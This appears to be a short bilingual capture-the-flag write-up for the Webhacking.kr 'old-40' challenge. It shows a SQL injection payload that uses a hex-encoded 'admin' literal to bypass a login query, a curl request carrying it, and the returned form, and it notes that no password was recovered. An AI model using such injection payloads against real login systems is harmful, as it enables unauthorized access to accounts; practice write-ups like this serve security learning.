Webhacking.kr old-40

Challenge

Extract the admin password through the login query.

通过登录查询提取 admin 密码。

1
https://webhacking.kr/challenge/web-29/

Analysis

登录查询同时使用 no 和 id。将 no 设置为 0||no=2&&id=0x61646d696e 后,页面进入 no=2 且 id=admin 对应的 admin password 分支。0x61646d696e 是 admin 的十六进制字面量,解析结果为 admin。

当前分支页面的表单为 GET 请求,字段名是 auth:

1
2
3
<form method=get>
admin password : <input type=text name=auth><input type=submit>
</form>

该页面只提供密码校验入口,响应没有直接泄露 password。已知候选 auth=213 返回 Failure,当前没有可确认的密码或固定 flag,因此不添加 spoiler。

Solution

将 no 构造成一个始终命中 no=2 和 id=admin 的条件,同时保留其它 GET 参数:

1
2
3
no=0||no=2&&id=0x61646d696e
id=guest
pw=guest

对应请求:

1
2
3
4
5
6
7
8
9
10
$ curl -sS -b 'PHPSESSID=<mission-cookie>' \\
'https://webhacking.kr/challenge/web-29/?no=0%7C%7Cno%3D2%26%26id%3D0x61646d696e&id=guest&pw=guest'
<html>
<head>
<title>Challenge 40</title>
</head>
<body>
<form method=get>
admin password : <input type=text name=auth><input type=submit>
</form>